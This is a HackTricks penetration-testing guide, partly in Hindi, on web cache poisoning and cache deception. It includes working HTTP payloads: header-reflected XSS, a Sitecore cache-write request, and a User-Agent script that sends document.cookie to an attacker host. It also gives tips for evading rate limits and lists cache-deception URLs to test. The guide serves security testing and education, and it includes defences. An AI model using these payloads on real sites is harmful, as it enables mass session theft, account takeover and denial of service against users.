Cache Poisoning and Cache Deception

Reading time: 19 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अंतर

web cache poisoning और web cache deception में क्या फर्क है?

  • In web cache poisoning, हमलावर एप्लिकेशन को कुछ दुर्व्यवहारपूर्ण सामग्री cache में स्टोर करवाता है, और यह सामग्री cache से अन्य एप्लिकेशन उपयोगकर्ताओं को सर्व की जाती है।
  • In web cache deception, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री cache में स्टोर करवाता है, और फिर हमलावर वह सामग्री cache से प्राप्त कर लेता है।

Cache Poisoning

Cache poisoning का उद्देश्य client-side cache को इस तरह प्रभावित करना है कि क्लाइंट अनपेक्षित, आंशिक या हमलावर के नियंत्रण वाली resources लोड कर लें। प्रभाव का दायरा प्रभावित पेज की लोकप्रियता पर निर्भर करता है, क्योंकि दूषित response केवल उन उपयोगकर्ताओं को सर्व किया जाएगा जो cache प्रदूषण के दौरान उस पेज पर जाते हैं।

Cache poisoning हमला कई चरणों में किया जाता है:

  1. Identification of Unkeyed Inputs: ऐसे parameters जो request के cached होने के लिए आवश्यक नहीं होते पर server द्वारा लौटाई जाने वाली response को बदल सकते हैं। इन inputs की पहचान करना जरूरी है क्योंकि इन्हें cache को manipulate करने के लिए exploit किया जा सकता है।
  2. Exploitation of the Unkeyed Inputs: Unkeyed inputs की पहचान के बाद अगला कदम यह पता लगाना है कि इन parameters का दुरुपयोग करके server की response को किस तरह बदला जा सकता है ताकि हमलावर को लाभ हो।
  3. Ensuring the Poisoned Response is Cached: अंतिम चरण यह सुनिश्चित करना है कि बदली हुई response cache में स्टोर हो जाए। इस तरह, जब भी कोई उपयोगकर्ता प्रभावित पेज तक पहुंचता है जबकि cache poisoned है, उसे दूषित response मिल जाएगी।

खोज: HTTP headers देखें

आम तौर पर, जब कोई response cache में store की जाती है तो वहाँ एक header होता है जो इसकी जानकारी देता है; आप उन headers को देख सकते हैं जिन पर आपको ध्यान देना चाहिए इस पोस्ट में: HTTP Cache headers.

खोज: Caching error codes

यदि आपको लगता है कि response cache में स्टोर हो रही है, तो आप एक खराब header के साथ request भेजकर देख सकते हैं, जिसे सामान्यतः status code 400 के साथ रिस्पॉन्ड किया जाना चाहिए। फिर सामान्य तरीके से उसी request को एक्सेस करके देखें और यदि response एक 400 status code है, तो आप जान सकते हैं कि यह vulnerable है (और आप यहां तक कि DoS भी कर सकते हैं)।

आप और विकल्प यहां पा सकते हैं:

Cache Poisoning to DoS

हालाँकि, ध्यान दें कि कभी-कभी इस प्रकार के status codes cache में नहीं रखे जाते, इसलिए यह टेस्ट विश्वसनीय नहीं हो सकता।

खोज: Identify and evaluate unkeyed inputs

आप Param Miner का उपयोग करके उन parameters और headers को brute-force कर सकते हैं जो पेज की response को बदल रहे हैं। उदाहरण के लिए, एक पेज header X-Forwarded-For का उपयोग कर सकता है ताकि client को वहां से स्क्रिप्ट लोड करने के लिए संकेत दिया जाए:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

बैक-एंड सर्वर से हानिकारक प्रतिक्रिया उत्पन्न करें

With the parameter/header identified check how it is being sanitised and where is it getting reflected or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)

प्रतिक्रिया को कैश कराएँ

Once you have identified the page that can be abused, which parameter/header to use and how to abuse it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.

The header X-Cache in the response could be very useful as it may have the value miss when the request wasn't cached and the value hit when it is cached.
The header Cache-Control is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800

Another interesting header is Vary. This header is often used to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed. Therefore, if the user knows the User-Agent of the victim he is targeting, he can poison the cache for the users using that specific User-Agent.

One more header related to the cache is Age. It defines the times in seconds the object has been in the proxy cache.

When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it's working.

Exploiting Examples

Easiest example

A header like X-Forwarded-For is being reflected in the response unsanitized.
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

ध्यान दें कि यह /en?region=uk के लिए एक request को poison करेगा, /en के लिए नहीं

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

इस this writeup में निम्नलिखित सरल परिदृश्य समझाया गया है:

  • The CDN will cache anything under /share/
  • CDN %2F..%2F को decode या normalize नहीं करेगा, इसलिए इसे path traversal to access other sensitive locations that will be cached के रूप में इस्तेमाल किया जा सकता है, जैसे https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • The web server WILL decode and normalize %2F..%2F, और /api/auth/session के साथ respond करेगा, जो contains the auth token

Cookies किसी पेज के response में भी reflected हो सकती हैं। यदि आप इसे किसी XSS को trigger करने के लिए abuse कर सकें, तो आप उन कई clients में XSS का exploit कर सकते हैं जो malicious cache response को load करते हैं।

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

ध्यान दें कि अगर vulnerable cookie को users बहुत ज़्यादा इस्तेमाल कर रहे हैं, तो regular requests cache को साफ़ करती रहेंगी।

Delimiters, normalization और dots के साथ विसंगतियाँ उत्पन्न करना

देखें:

Cache Poisoning via URL discrepancies

API key चुराने के लिए path traversal के साथ Cache poisoning

This writeup explains कैसे एक OpenAI API key https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 जैसे URL के साथ चुराई जा सकी, क्योंकि /share/* से मेल खाने वाली कोई भी चीज़ Cloudflare द्वारा URL को normalise किए बिना cache हो जाती थी, और URL को normalise तब किया जाता था जब request वेब सर्वर तक पहुँचती थी।

यह भी बेहतर तरीके से समझाया गया है:

Cache Poisoning via URL discrepancies

web cache poisoning vulnerabilities का फायदा उठाने के लिए multiple headers का उपयोग करना

कभी-कभी cache का दुरुपयोग करने के लिए आपको exploit several unkeyed inputs करने की ज़रूरत पड़ती है। उदाहरण के लिए, अगर आप X-Forwarded-Host को अपने कंट्रोल वाले domain पर सेट करते हैं और X-Forwarded-Scheme को http पर सेट करते हैं, तो आपको एक Open redirect मिल सकता है। If the server is forwarding all the HTTP requests to HTTPS और redirect के लिए X-Forwarded-Scheme header को domain नाम के रूप में इस्तेमाल कर रहा हो, तो आप redirect द्वारा पृष्ठ कहाँ point होगा उसे control कर सकते हैं।

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

सीमित Varyheader के साथ शोषण

यदि आपने पाया कि X-Host header को domain name to load a JS resource के रूप में उपयोग किया जा रहा है, लेकिन response में Vary header User-Agent सूचित कर रहा है। तब, आपको किसी तरह पीड़ित का User-Agent exfiltrate करने और उस user agent का उपयोग करके cache को poison करने का तरीका खोजना होगा:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

एक GET request भेजें जिसमें अनुरोध URL और body दोनों में मौजूद हो। यदि web server body में मौजूद वाले को उपयोग करता है लेकिन cache server URL में मौजूद वाले को cache कर लेता है, तो जो भी उस URL तक पहुँचेगा वास्तव में body से आए parameter का उपयोग करेगा। जैसे कि James Kettle ने Github website पर पाया हुआ vuln:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There is a PortSwigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

उदाहरण के लिए ruby सर्वरों में parameters को अलग करने के लिए char ; का उपयोग & की बजाय किया जा सकता है। यह unkeyed parameters values को keyed ones के अंदर डालने और उनका दुरुपयोग करने के लिए इस्तेमाल किया जा सकता है।

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

यहां सीखें कि कैसे Cache Poisoning attacks by abusing HTTP Request Smuggling को अंजाम दिया जाता है।

Automated testing for Web Cache Poisoning

Web Cache Vulnerability Scanner का उपयोग web cache poisoning के लिए स्वतः परीक्षण करने हेतु किया जा सकता है। यह कई अलग-अलग techniques को सपोर्ट करता है और highly customizable है।

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

यह वास्तविक दुनिया का पैटर्न एक header-based reflection primitive को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को परोसे जाने वाले cached HTML को विश्वसनीय रूप से poison किया जा सके:

  • मुख्य HTML ने एक untrusted request header (e.g., User-Agent) को executable context में reflect किया।
  • CDN ने cache headers को strip कर दिया पर internal/origin cache मौजूद था। CDN ने static extensions (e.g., .js) वाले requests को auto-cache भी किया, जबकि WAF ने static assets के GETs के लिए कम कड़ाई से content inspection लागू किया।
  • Request flow के quirks ने .js path पर एक request को subsequent main HTML के cache key/variant को प्रभावित करने की अनुमति दी, जिससे header reflection के माध्यम से cross-user XSS सक्षम हुआ।

Practical recipe (observed across a popular CDN/WAF):

  1. From a clean IP (avoid prior reputation-based downgrades), set a malicious User-Agent via browser or Burp Proxy Match & Replace.
  2. In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
  • First request: GET a .js resource path on the same origin while sending your malicious User-Agent.
  • Immediately after: GET the main page (/).
  1. The CDN/WAF routing race plus the auto-cached .js often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same Vary dimensions like User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

ऑपरेशनल टिप्स:

  • कई CDNs कैश हेडर छुपाते हैं; poisoning कई घंटे के रिफ्रेश साइकिल पर ही दिखाई दे सकता है। rate-limit या reputation ट्रिगर्स से बचने के लिए multiple vantage IPs का उपयोग करें और throttle करें।
  • CDN के अपने cloud से एक IP का उपयोग करने से कभी‑कभी routing consistency बेहतर होती है।
  • अगर strict CSP मौजूद है, तब भी यह तब काम करता है जब reflection main HTML context में execute हो और CSP inline execution की अनुमति दे या context द्वारा bypass हो।

प्रभाव:

  • अगर session cookies HttpOnly नहीं हैं, तो poisoned HTML सर्व किए जाने वाले सभी users से document.cookie को mass-exfiltrate करके zero-click ATO संभव है।

रक्षा:

  • request headers को HTML में reflect करना बंद करें; अगर अनिवार्य हो तो उन्हें strictly context-encode करें। CDN और origin के cache policies को align करें और untrusted headers पर vary करने से बचें।
  • सुनिश्चित करें कि WAF .js requests और static paths पर content inspection लगातार लागू करता है।
  • HttpOnly (और Secure, SameSite) को session cookies पर सेट करें।

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern unauthenticated writes को HtmlCache में सक्षम बनाता है by abusing pre‑auth XAML handlers और AjaxScriptManager reflection. जब Sitecore.Shell.Xaml.WebControl handler पहुंच जाता है, तब एक xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) उपलब्ध होता है और निम्नलिखित reflective call की अनुमति दी जाती है:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

कमजोरियों के उदाहरण

Apache Traffic Server (CVE-2021-27577)

ATS ने URL के अंदर का fragment बिना strip किए आगे भेज दिया और cache key केवल host, path और query का उपयोग करके बनाया (fragment को ignore करते हुए)। इसलिए request /#/../?r=javascript:alert(1) backend को /#/../?r=javascript:alert(1) के रूप में भेजा गया और cache key में payload नहीं था — केवल host, path और query मौजूद थे।

GitHub CP-DoS

content-type header में गलत मान भेजने पर 405 cached response ट्रिगर हुई। cache key में cookie शामिल था इसलिए यह केवल unauth users पर हमला करने योग्य था।

GitLab + GCP CP-DoS

GitLab static content स्टोर करने के लिए GCP buckets का उपयोग करता है। GCP Buckets x-http-method-override header को सपोर्ट करते हैं। इसलिए x-http-method-override: HEAD header भेज कर cache को empty response body लौटाने के लिए poison किया जा सकता था। यह PURGE method को भी सपोर्ट कर सकता था।

Rack Middleware (Ruby on Rails)

Ruby on Rails एप्लिकेशन में Rack middleware अक्सर उपयोग होता है। Rack code का उद्देश्य x-forwarded-scheme header का मान लेकर उसे request के scheme के रूप में सेट करना है। जब x-forwarded-scheme: http भेजा जाता है, तो same location पर 301 redirect होता है, जिससे उस resource के लिए Denial of Service (DoS) हो सकता है। अतिरिक्त रूप से, एप्लिकेशन X-forwarded-host header को स्वीकार कर सकता है और यूज़र्स को निर्दिष्ट host पर redirect कर सकता है। यह व्यवहार attacker's server से JavaScript फाइलें लोड होने का जोखिम पैदा कर सकता है।

403 and Storage Buckets

Cloudflare पहले 403 responses को cache करता था। गलत Authorization headers के साथ S3 या Azure Storage Blobs तक पहुँचने का प्रयास करने पर 403 response आता था जो cached हो जाता था। हालांकि Cloudflare ने 403 responses को cache करना बंद कर दिया है, यह व्यवहार अन्य proxy सेवाओं में अभी भी मौजूद हो सकता है।

Injecting Keyed Parameters

Caches अक्सर cache key में specific GET parameters को शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish requests में size parameter को cache करता था। हालांकि, अगर parameter का URL-encoded version (जैसे siz%65) भी गलत वैल्यू के साथ भेजा गया, तो cache key सही size parameter का उपयोग करके बनाया जाता। पर backend URL-encoded parameter के मान को process करेगा। दूसरे size parameter को URL-encode करने से यह cache द्वारा omit हो जाता था पर backend द्वारा उपयोग किया जाता था। इस parameter को 0 देने पर cacheable 400 Bad Request error मिल जाती थी।

User Agent Rules

कुछ डेवलपर्स high-traffic tools जैसे FFUF या Nuclei के user-agents वाले requests को server load manage करने के लिए block करते हैं। Ironically, यह तरीका cache poisoning और DoS जैसी कमजोरियाँ ला सकता है।

Illegal Header Fields

RFC7230 header names में स्वीकार्य characters को निर्दिष्ट करता है। ऐसे headers जिनमें निर्दिष्ट tchar range के बाहर के characters हों, ideally 400 Bad Request response ट्रिगर करना चाहिए। वास्तविकता में, सर्वर हमेशा इस standard का पालन नहीं करते। एक उल्लेखनीय उदाहरण Akamai है, जो invalid characters वाले headers को आगे भेजता है और किसी भी 400 error को cache कर देता है, बशर्ते कि cache-control header मौजूद न हो। एक exploitable pattern में illegal character भेजने (जैसे \) पर cacheable 400 Bad Request error मिलती थी।

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

उद्देश्य यह है कि clients उन resources को load करें जिन्हें cache उनके sensitive information के साथ save करने वाला है।

सबसे पहले ध्यान दें कि extensions जैसे .css, .js, .png आदि आमतौर पर cache में save करने के लिए configured होते हैं। इसलिए, अगर आप www.example.com/profile.php/nonexistent.js एक्सेस करते हैं तो cache संभवतः response को store कर लेगा क्योंकि इसे .js extension दिखता है। लेकिन, अगर application www.example.com/profile.php में stored sensitive user contents के साथ reply कर रहा है, तो आप उन contents को अन्य users से चोरी कर सकते हैं।

अन्य चीजें जिन्हें टेस्ट करना चाहिए:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

एक और बहुत साफ उदाहरण इस write-up में पाया जा सकता है: https://hackerone.com/reports/593712.
उदाहरण में बताया गया है कि अगर आप एक non-existent पेज जैसे http://www.example.com/home.php/non-existent.css लोड करते हैं तो http://www.example.com/home.php (यूज़र की sensitive जानकारी के साथ) का content लौटाया जा सकता है और cache server परिणाम को save कर लेगा।
फिर, attacker अपना ब्राउज़र में http://www.example.com/home.php/non-existent.css एक्सेस कर के उन यूज़र्स की confidential information देख सकता है जो पहले उस पेज को एक्सेस कर चुके थे।

ध्यान दें कि cache proxy को फाइलों को उनके extension (जैसे .css) के आधार पर cache करने के लिए configured होना चाहिए न कि content-type के आधार पर। उदाहरण में http://www.example.com/home.php/non-existent.css का content-type text/html होगा न कि text/css mime type।

यहाँ सीखें कि कैसे HTTP Request Smuggling का उपयोग कर Cache Deceptions attacks perform किये जाते हैं: ../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception

Automatic Tools

  • toxicache: Golang scanner जो URL की list में web cache poisoning vulnerabilities खोजता है और multiple injection techniques को टेस्ट करता है।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें